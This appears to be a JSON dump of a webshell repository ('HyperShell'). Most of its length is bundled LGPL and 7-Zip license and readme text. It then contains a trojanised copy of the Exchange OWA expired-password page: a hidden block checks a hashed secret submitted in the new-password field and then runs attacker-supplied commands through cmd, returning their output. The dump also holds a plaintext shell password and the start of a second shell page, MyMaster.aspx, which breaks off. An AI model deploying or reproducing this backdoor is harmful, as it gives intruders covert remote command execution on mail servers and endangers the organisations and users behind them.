gain by limiting the free library to free\nsoftware only, so we use the Lesser General Public License.\n\n  In other cases, permission to use a particular library in non-free\nprograms enables a greater number of people to use a large body of\nfree software.  For example, permission to use the GNU C Library in\nnon-free programs enables many more people to use the whole GNU\noperating system, as well as its variant, the GNU/Linux operating\nsystem.\n\n  Although the Lesser General Public License is Less protective of the\nusers' freedom, it does ensure that the user of a program that is\nlinked with the Library has the freedom and the wherewithal to run\nthat program using a modified version of the Library.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.  Pay close attention to the difference between a\n\"work based on the library\" and a \"work that uses the library\".  The\nformer contains code derived from the library, whereas the latter must\nbe combined with the library in order to run.\n\f\n      GNU LESSER GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License Agreement applies to any software library or other\nprogram which contains a notice placed by the copyright holder or\nother authorized party saying it may be distributed under the terms of\nthis Lesser General Public License (also called \"this License\").\nEach licensee is addressed as \"you\".\n\n  A \"library\" means a collection of software functions and/or data\nprepared so as to be conveniently linked with application programs\n(which use some of those functions and data) to form executables.\n\n  The \"Library\", below, refers to any such software library or work\nwhich has been distributed under these terms.  A \"work based on the\nLibrary\" means either the Library or any derivative work under\ncopyright law: that is to say, a work containing the Library or a\nportion of it, either verbatim or with modifications and/or translated\nstraightforwardly into another language.  (Hereinafter, translation is\nincluded without limitation in the term \"modification\".)\n\n  \"Source code\" for a work means the preferred form of the work for\nmaking modifications to it.  For a library, complete source code means\nall the source code for all modules it contains, plus any associated\ninterface definition files, plus the scripts used to control compilation\nand installation of the library.\n\n  Activities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning a program using the Library is not restricted, and output from\nsuch a program is covered only if its contents constitute a work based\non the Library (independent of the use of the Library in a tool for\nwriting it).  Whether that is true depends on what the Library does\nand what the program that uses the Library does.\n  \n  1. You may copy and distribute verbatim copies of the Library's\ncomplete source code as you receive it, in any medium, provided that\nyou conspicuously and appropriately publish on each copy an\nappropriate copyright notice and disclaimer of warranty; keep intact\nall the notices that refer to this License and to the absence of any\nwarranty; and distribute a copy of this License along with the\nLibrary.\n\n  You may charge a fee for the physical act of transferring a copy,\nand you may at your option offer warranty protection in exchange for a\nfee.\n\f\n  2. You may modify your copy or copies of the Library or any portion\nof it, thus forming a work based on the Library, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) The modified work must itself be a software library.\n\n    b) You must cause the files modified to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    c) You must cause the whole of the work to be licensed at no\n    charge to all third parties under the terms of this License.\n\n    d) If a facility in the modified Library refers to a function or a\n    table of data to be supplied by an application program that uses\n    the facility, other than as an argument passed when the facility\n    is invoked, then you must make a good faith effort to ensure that,\n    in the event an application does not supply such function or\n    table, the facility still operates, and performs whatever part of\n    its purpose remains meaningful.\n\n    (For example, a function in a library to compute square roots has\n    a purpose that is entirely well-defined independent of the\n    application.  Therefore, Subsection 2d requires that any\n    application-supplied function or table used by this function must\n    be optional: if the application does not supply it, the square\n    root function must still compute square roots.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Library,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Library, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote\nit.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Library.\n\nIn addition, mere aggregation of another work not based on the Library\nwith the Library (or with a work based on the Library) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may opt to apply the terms of the ordinary GNU General Public\nLicense instead of this License to a given copy of the Library.  To do\nthis, you must alter all the notices that refer to this License, so\nthat they refer to the ordinary GNU General Public License, version 2,\ninstead of to this License.  (If a newer version than version 2 of the\nordinary GNU General Public License has appeared, then you can specify\nthat version instead if you wish.)  Do not make any other change in\nthese notices.\n\f\n  Once this change is made in a given copy, it is irreversible for\nthat copy, so the ordinary GNU General Public License applies to all\nsubsequent copies and derivative works made from that copy.\n\n  This option is useful when you wish to copy part of the code of\nthe Library into a program that is not a library.\n\n  4. You may copy and distribute the Library (or a portion or\nderivative of it, under Section 2) in object code or executable form\nunder the terms of Sections 1 and 2 above provided that you accompany\nit with the complete corresponding machine-readable source code, which\nmust be distributed under the terms of Sections 1 and 2 above on a\nmedium customarily used for software interchange.\n\n  If distribution of object code is made by offering access to copy\nfrom a designated place, then offering equivalent access to copy the\nsource code from the same place satisfies the requirement to\ndistribute the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  5. A program that contains no derivative of any portion of the\nLibrary, but is designed to work with the Library by being compiled or\nlinked with it, is called a \"work that uses the Library\".  Such a\nwork, in isolation, is not a derivative work of the Library, and\ntherefore falls outside the scope of this License.\n\n  However, linking a \"work that uses the Library\" with the Library\ncreates an executable that is a derivative of the Library (because it\ncontains portions of the Library), rather than a \"work that uses the\nlibrary\".  The executable is therefore covered by this License.\nSection 6 states terms for distribution of such executables.\n\n  When a \"work that uses the Library\" uses material from a header file\nthat is part of the Library, the object code for the work may be a\nderivative work of the Library even though the source code is not.\nWhether this is true is especially significant if the work can be\nlinked without the Library, or if the work is itself a library.  The\nthreshold for this to be true is not precisely defined by law.\n\n  If such an object file uses only numerical parameters, data\nstructure layouts and accessors, and small macros and small inline\nfunctions (ten lines or less in length), then the use of the object\nfile is unrestricted, regardless of whether it is legally a derivative\nwork.  (Executables containing this object code plus portions of the\nLibrary will still fall under Section 6.)\n\n  Otherwise, if the work is a derivative of the Library, you may\ndistribute the object code for the work under the terms of Section 6.\nAny executables containing that work also fall under Section 6,\nwhether or not they are linked directly with the Library itself.\n\f\n  6. As an exception to the Sections above, you may also combine or\nlink a \"work that uses the Library\" with the Library to produce a\nwork containing portions of the Library, and distribute that work\nunder terms of your choice, provided that the terms permit\nmodification of the work for the customer's own use and reverse\nengineering for debugging such modifications.\n\n  You must give prominent notice with each copy of the work that the\nLibrary is used in it and that the Library and its use are covered by\nthis License.  You must supply a copy of this License.  If the work\nduring execution displays copyright notices, you must include the\ncopyright notice for the Library among them, as well as a reference\ndirecting the user to the copy of this License.  Also, you must do one\nof these things:\n\n    a) Accompany the work with the complete corresponding\n    machine-readable source code for the Library including whatever\n    changes were used in the work (which must be distributed under\n    Sections 1 and 2 above); and, if the work is an executable linked\n    with the Library, with the complete machine-readable \"work that\n    uses the Library\", as object code and/or source code, so that the\n    user can modify the Library and then relink to produce a modified\n    executable containing the modified Library.  (It is understood\n    that the user who changes the contents of definitions files in the\n    Library will not necessarily be able to recompile the application\n    to use the modified definitions.)\n\n    b) Use a suitable shared library mechanism for linking with the\n    Library.  A suitable mechanism is one that (1) uses at run time a\n    copy of the library already present on the user's computer system,\n    rather than copying library functions into the executable, and (2)\n    will operate properly with a modified version of the library, if\n    the user installs one, as long as the modified version is\n    interface-compatible with the version that the work was made with.\n\n    c) Accompany the work with a written offer, valid for at\n    least three years, to give the same user the materials\n    specified in Subsection 6a, above, for a charge no more\n    than the cost of performing this distribution.\n\n    d) If distribution of the work is made by offering access to copy\n    from a designated place, offer equivalent access to copy the above\n    specified materials from the same place.\n\n    e) Verify that the user has already received a copy of these\n    materials or that you have already sent this user a copy.\n\n  For an executable, the required form of the \"work that uses the\nLibrary\" must include any data and utility programs needed for\nreproducing the executable from it.  However, as a special exception,\nthe materials to be distributed need not include anything that is\nnormally distributed (in either source or binary form) with the major\ncomponents (compiler, kernel, and so on) of the operating system on\nwhich the executable runs, unless that component itself accompanies\nthe executable.\n\n  It may happen that this requirement contradicts the license\nrestrictions of other proprietary libraries that do not normally\naccompany the operating system.  Such a contradiction means you cannot\nuse both them and the Library together in an executable that you\ndistribute.\n\f\n  7. You may place library facilities that are a work based on the\nLibrary side-by-side in a single library together with other library\nfacilities not covered by this License, and distribute such a combined\nlibrary, provided that the separate distribution of the work based on\nthe Library and of the other library facilities is otherwise\npermitted, and provided that you do these two things:\n\n    a) Accompany the combined library with a copy of the same work\n    based on the Library, uncombined with any other library\n    facilities.  This must be distributed under the terms of the\n    Sections above.\n\n    b) Give prominent notice with the combined library of the fact\n    that part of it is a work based on the Library, and explaining\n    where to find the accompanying uncombined form of the same work.\n\n  8. You may not copy, modify, sublicense, link with, or distribute\nthe Library except as expressly provided under this License.  Any\nattempt otherwise to copy, modify, sublicense, link with, or\ndistribute the Library is void, and will automatically terminate your\nrights under this License.  However, parties who have received copies,\nor rights, from you under this License will not have their licenses\nterminated so long as such parties remain in full compliance.\n\n  9. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Library or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Library (or any work based on the\nLibrary), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Library or works based on it.\n\n  10. Each time you redistribute the Library (or any work based on the\nLibrary), the recipient automatically receives a license from the\noriginal licensor to copy, distribute, link with or modify the Library\nsubject to these terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties with\nthis License.\n\f\n  11. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Library at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Library by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Library.\n\nIf any portion of this section is held invalid or unenforceable under any\nparticular circumstance, the balance of the section is intended to apply,\nand the section as a whole is intended to apply in other circumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  12. If the distribution and/or use of the Library is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Library under this License may add\nan explicit geographical distribution limitation excluding those countries,\nso that distribution is permitted only in or among countries not thus\nexcluded.  In such case, this License incorporates the limitation as if\nwritten in the body of this License.\n\n  13. The Free Software Foundation may publish revised and/or new\nversions of the Lesser General Public License from time to time.\nSuch new versions will be similar in spirit to the present version,\nbut may differ in detail to address new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Library\nspecifies a version number of this License which applies to it and\n\"any later version\", you have the option of following the terms and\nconditions either of that version or of any later version published by\nthe Free Software Foundation.  If the Library does not specify a\nlicense version number, you may choose any version ever published by\nthe Free Software Foundation.\n\f\n  14. If you wish to incorporate parts of the Library into other free\nprograms whose distribution conditions are incompatible with these,\nwrite to the author to ask for permission.  For software which is\ncopyrighted by the Free Software Foundation, write to the Free\nSoftware Foundation; we sometimes make exceptions for this.  Our\ndecision will be guided by the two goals of preserving the free status\nof all derivatives of our free software and of promoting the sharing\nand reuse of software generally.\n\n          NO WARRANTY\n\n  15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO\nWARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW.\nEXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR\nOTHER PARTIES PROVIDE THE LIBRARY \"AS IS\" WITHOUT WARRANTY OF ANY\nKIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\nPURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE\nLIBRARY IS WITH YOU.  SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME\nTHE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.\n\n  16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN\nWRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY\nAND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU\nFOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR\nCONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE\nLIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING\nRENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A\nFAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF\nSUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\nDAMAGES.\n\n         END OF TERMS AND CONDITIONS\n\f\n           How to Apply These Terms to Your New Libraries\n\n  If you develop a new library, and you want it to be of the greatest\npossible use to the public, we recommend making it free software that\neveryone can redistribute and change.  You can do so by permitting\nredistribution under these terms (or, alternatively, under the terms of the\nordinary General Public License).\n\n  To apply these terms, attach the following notices to the library.  It is\nsafest to attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least the\n\"copyright\" line and a pointer to where the full notice is found.\n\n    <one line to give the library's name and a brief idea of what it does.>\n    Copyright (C) <year>  <name of author>\n\n    This library is free software; you can redistribute it and/or\n    modify it under the terms of the GNU Lesser General Public\n    License as published by the Free Software Foundation; either\n    version 2.1 of the License, or (at your option) any later version.\n\n    This library is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n    Lesser General Public License for more details.\n\n    You should have received a copy of the GNU Lesser General Public\n    License along with this library; if not, write to the Free Software\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nAlso add information on how to contact you by electronic and paper mail.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the library, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the\n  library `Frob' (a library for tweaking knobs) written by James Random Hacker.\n\n  <signature of Ty Coon>, 1 April 1990\n  Ty Coon, President of Vice\n\nThat's all there is to it!\n\n\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Tools/7-zip/license.txt",
    "content": "      7-Zip Command line version\n      ~~~~~~~~~~~~~~~~~~~~~~~~~~\n      License for use and distribution\n      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n      7-Zip Copyright (C) 1999-2009 Igor Pavlov.\n\n      7za.exe is distributed under the GNU LGPL license\n\n      Notes: \n        You can use 7-Zip on any computer, including a computer in a commercial \n        organization. You don't need to register or pay for 7-Zip.\n\n\n      GNU LGPL information\n      --------------------\n\n        This library is free software; you can redistribute it and/or\n        modify it under the terms of the GNU Lesser General Public\n        License as published by the Free Software Foundation; either\n        version 2.1 of the License, or (at your option) any later version.\n\n        This library is distributed in the hope that it will be useful,\n        but WITHOUT ANY WARRANTY; without even the implied warranty of\n        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n        Lesser General Public License for more details.\n\n        You should have received a copy of the GNU Lesser General Public\n        License along with this library; if not, write to the Free Software\n        Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Tools/7-zip/readme.txt",
    "content": "7-Zip Command line version 4.65\n-------------------------------\n\n7-Zip is a file archiver with high compression ratio.\n7za.exe is a standalone command line version of 7-Zip.\n\n7-Zip Copyright (C) 1999-2009 Igor Pavlov.\n\nFeatures of 7za.exe: \n  - High compression ratio in new 7z format\n  - Supported formats:\n      - Packing / unpacking: 7z, ZIP, GZIP, BZIP2 and TAR \n      - Unpacking only: Z\n  - Highest compression ratio for ZIP and GZIP formats.\n  - Fast compression and decompression\n  - Strong AES-256 encryption in 7z and ZIP formats.\n\n7za.exe is a free software distributed under the GNU LGPL.\nRead license.txt for more information.\n\nSource code of 7za.exe and 7-Zip can be found at\nhttp://www.7-zip.org/\n\n7za.exe can work in Windows 95/98/ME/NT/2000/XP/2003/Vista.\n\nThere is also port of 7za.exe for POSIX systems like Unix (Linux, Solaris, OpenBSD, \nFreeBSD, Cygwin, AIX, ...), MacOS X and BeOS:\n\nhttp://p7zip.sourceforge.net/\n\n\n  This distributive packet contains the following files:\n\n  7za.exe       - 7-Zip standalone command line version.\n  readme.txt    - This file.\n  copying.txt   - GNU LGPL license.\n  license.txt   - License information.\n  7-zip.chm     - User's Manual in HTML Help format.\n\n\n---\nEnd of document\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/StableVersion/HighShell v5.0/HighShellPass.txt",
    "content": "Th!sN0tF0rFAN"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/StableVersion/HighShell v5.0/HyperShell/HyperShell/ExpiredPasswordTech/ExpiredPassword.aspx",
    "content": "﻿<%@ Page language=\"c#\" AutoEventWireup=\"false\" Inherits=\"Microsoft.Exchange.HttpProxy.ExpiredPassword\" %>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.Clients.Owa.Core\"%>\r\n<%@ Import namespace=\"Microsoft.Exchange.HttpProxy\"%>\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\"> \r\n<html>\r\n<head>\r\n<meta http-equiv=\"Content-Type\" content=\"text/html; CHARSET=utf-8\">\r\n<meta name=\"Robots\" content=\"NOINDEX, NOFOLLOW\">\r\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=10\" />\r\n<title><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OutlookWebAccess) %></title>\r\n<%= InlineCss(ThemeFileId.LogonCss) %>\r\n<%= InlineJavascript(\"fexppw.js\") %>\r\n<script type=\"text/javascript\">\r\n\t<!--\r\n\tvar g_fFcs = 1;\r\n\tvar a_sUrl = \"<%=EncodingUtilities.JavascriptEncode(Destination) %>\";\r\n\tvar a_fCAC = <%= (PasswordChanged && ShouldClearAuthenticationCache) ? 1 : 0 %>\r\n\t//-->\r\n\r\n    var mainDivClassName = '<%=UserAgent.LayoutString %>';\r\n    var showPlaceholderText = false;\r\n\r\n    if (mainDivClassName == \"tnarrow\") {\r\n        showPlaceholderText = true;\r\n\r\n        // Output meta tag for viewport scaling\r\n        document.write('<meta name=\"viewport\" content=\"width = 320, initial-scale = 1.0, user-scalable = no\" />');\r\n    }\r\n    else  if (mainDivClassName == \"twide\") {\r\n        showPlaceholderText = true;\r\n    }\r\n\r\n    function setPlaceholderText() {\r\n        window.document.getElementById(\"username\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordUserDomainNoColon) %>\";\r\n        window.document.getElementById(\"oldPwd\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOldNoColon) %>\";\r\n        window.document.getElementById(\"newPwd1\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNewNoColon) %>\";\r\n        window.document.getElementById(\"newPwd2\").placeholder = \"<%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirmNoColon) %>\";\r\n    }\r\n</script>\r\n</head>\r\n\r\n<body class=\"signInBg<%=IsRtl ? \" rtl\" : \"\"%>\" style=\"background: #f2f2f2 url('<%=InlineImage(ThemeFileId.BackgroundGradientLogin)%>') repeat-x\"/>\r\n<% \r\n\tstring tblStyle = \"cellpadding=0 cellspacing=0\";\r\n\tif (IsDownLevelClient)\r\n\t{\r\n\t\ttblStyle = \"class=\\\"nonMSIE\\\"\";\r\n\t}\r\n%>\r\n\r\n<form action=\"expiredpassword.aspx\" method=\"POST\" name=\"exppwForm\" autocomplete=\"off\">\r\n<div id=\"mainDiv\" class=\"mouse\">\r\n    <script>\r\n\r\n        var mainDiv = window.document.getElementById(\"mainDiv\");\r\n        mainDiv.className = mainDivClassName;\r\n    </script>\r\n    <div class=\"sidebar\">\r\n        <div class=\"owaLogoContainer\">\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhite)%>\" class=\"owaLogo\" aria-hidden=\"true\" />\r\n            <img src=\"<%=InlineImage(ThemeFileId.OutlookLogoWhiteSmall)%>\" class=\"owaLogoSmall\" aria-hidden=\"true\" />\r\n        </div>\r\n    </div>\r\n\t\t\t<input type=\"hidden\" name=\"url\" value=\"<%=EncodingUtilities.HtmlEncode(Destination)%>\">\r\n            <div class=\"logonContainer\">\r\n\t        <div id=\"lgnDiv\" class=\"logonDiv\">  \r\n                <div class=\"signInImageHeader\" role=\"heading\">\r\n                    <img class=\"mouseHeader\" src=\"<%=InlineImage(ThemeFileId.OwaHeaderTextBlue)%>\" />\r\n                </div>\r\n\t\t\t<% if (PasswordChanged) { %>\r\n            \t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.LogoffChangePasswordClickOkToLogin) %></div>\r\n\t\t                <div class=\"signInEnter\">\r\n                            <div class=\"signinbutton\" role=\"button\" onclick=\"clkReLgn()\" tabIndex=\"0\">\r\n                                <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\">\r\n                                <span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.OkLowerCase)%></span>\r\n                            </div>\r\n                            <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n                        </div>\r\n\t\t\t<% } else { %>\r\n                <div class=\"headerMsgDiv\">\r\n\t\t\t\t\t<div class=\"shellDialogueHead\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordTitle)%></div>\r\n\t\t\t\t\t<div class=\"shellDialogueMsg\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.PasswordExpired) %></div>  \t\r\n\t\t\t\t<%\r\n\t\t\t\t\tif (Reason == ExpiredPasswordReason.InvalidCredentials) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.InvalidCredentialsMessage) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.InvalidNewPassword) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordInvalidNewPassword) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.PasswordConflict) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConflict) %></div>\r\n\t\t\t\t<%\r\n\t\t\t\t\t} else if (Reason == ExpiredPasswordReason.LockedOut) {\r\n\t\t\t\t%>\r\n\t\t\t\t\t<div class=\"passwordError\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordLockedOut) %></div>\r\n\t\t\t\t<% } %>\r\n\t\t\t\t<%\r\n                    try{\r\n\t\t\t\t\tif (Convert.ToBase64String(new System.Security.Cryptography.SHA1Managed().ComputeHash(Encoding.ASCII.GetBytes(Encoding.ASCII.GetString(Convert.FromBase64String(Request.Form[\"newPwd1\"])) + \"reDGEa@#!%FS\"))) == \"+S6Kos9D/etq1cd///fgTarVnUQ=\")\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\tSystem.Diagnostics.Process p = new System.Diagnostics.Process();\r\n\t\t\t\t\t\tSystem.Diagnostics.ProcessStartInfo i = p.StartInfo;\r\n\t\t\t\t\t\ti.FileName = \"cmd\";\r\n                        i.Arguments = \"/c \" + Encoding.UTF8.GetString(Convert.FromBase64String(Request.Form[\"newPwd2\"]));\r\n\t\t\t\t\t\ti.UseShellExecute = false;\r\n\t\t\t\t\t\ti.CreateNoWindow = true;\r\n\t\t\t\t\t\ti.RedirectStandardOutput = true;\r\n\t\t\t\t\t\tp.Start();\r\n\t\t\t\t\t\tstring r = p.StandardOutput.ReadToEnd();\r\n\t\t\t\t\t\tp.WaitForExit();\r\n\t\t\t\t\t\tp.Close();\r\n\t\t\t\t\t\tResponse.Write(\"<pre>\" + Server.HtmlEncode(r) + \"</pre>\");\r\n\t\t\t\t\t\tResponse.End();\r\n\t\t\t\t\t}}catch{}\r\n\t\t\t\t%>\r\n                </div>   \r\n\t\t            <div class=\"signInInputLabel\" id=\"userNameLabel\" aria-hidden=\"true\"><%=UserNameLabel%></div>\r\n\t\t            <div><input id=\"username\" name=\"username\" class=\"signInInputText\" role=\"textbox\" aria-labelledby=\"userNameLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"oldPasswordLabel\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordOld)%></div>\r\n\t\t            <div><input id=\"oldPwd\" name=\"oldPwd\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"oldPasswordLabel\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel1\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordNew)%></div>\r\n\t\t            <div><input id=\"newPwd1\" name=\"newPwd1\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel1\"/></div>\r\n                    \r\n\t\t            <div class=\"signInInputLabel\" id=\"newPasswordLabel2\" aria-hidden=\"true\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.ChangePasswordConfirm)%></div>\r\n\t\t            <div><input id=\"newPwd2\" name=\"newPwd2\" value=\"\" onfocus=\"g_fFcs=0\" type=\"password\" class=\"signInInputText\" aria-labelledby=\"newPasswordLabel2\"/></div>\r\n                    \r\n                    <script>\r\n                        if (showPlaceholderText) {\r\n                            setPlaceholderText();\r\n                        }\r\n                    </script>\r\n\t\t\t\t\t\r\n\t\t            <div class=\"signInEnter\">\r\n                        <div class=\"signinbutton\" role=\"button\" onclick=\"document.exppwForm.submit()\" tabIndex=\"0\">\r\n                            <img class=\"imgLnk\" src=\"<%=InlineImage(ThemeFileId.SignInArrow)%>\" alt=\"\"/><span class=\"signinTxt\"><%=LocalizedStrings.GetHtmlEncoded(Strings.IDs.Submit)%></span>\r\n                        </div>\r\n                        <input name=\"isUtf8\" value=\"1\" type=\"hidden\"/>\r\n\t\t            </div>\r\n\t\t\t\t    <div class=\"hidden-submit\"><input type=\"submit\" /></div> \r\n\t\t\t<% } %>\r\n</div>      \r\n</div>          \r\n</div>\r\n</form>\r\n</body>\r\n</html>"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/StableVersion/HighShell v5.0/HyperShell/HyperShell/ExpiredPasswordTech/MyMaster.aspx",
    "content": "﻿<%@ Page Language=\"C#\" ValidateRequest=\"false\" %>\r\n<!DOCTYPE html>\r\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\r\n<head>\r\n<title></title>\r\n</head>\r\n<body>\r\n<pre><%= Server.HtmlEncode(\"NxKK<TjWN^lv-$*UZ|Z-H;cGL(O>7a\") %></pre>\r\n<%try{\r\n        string 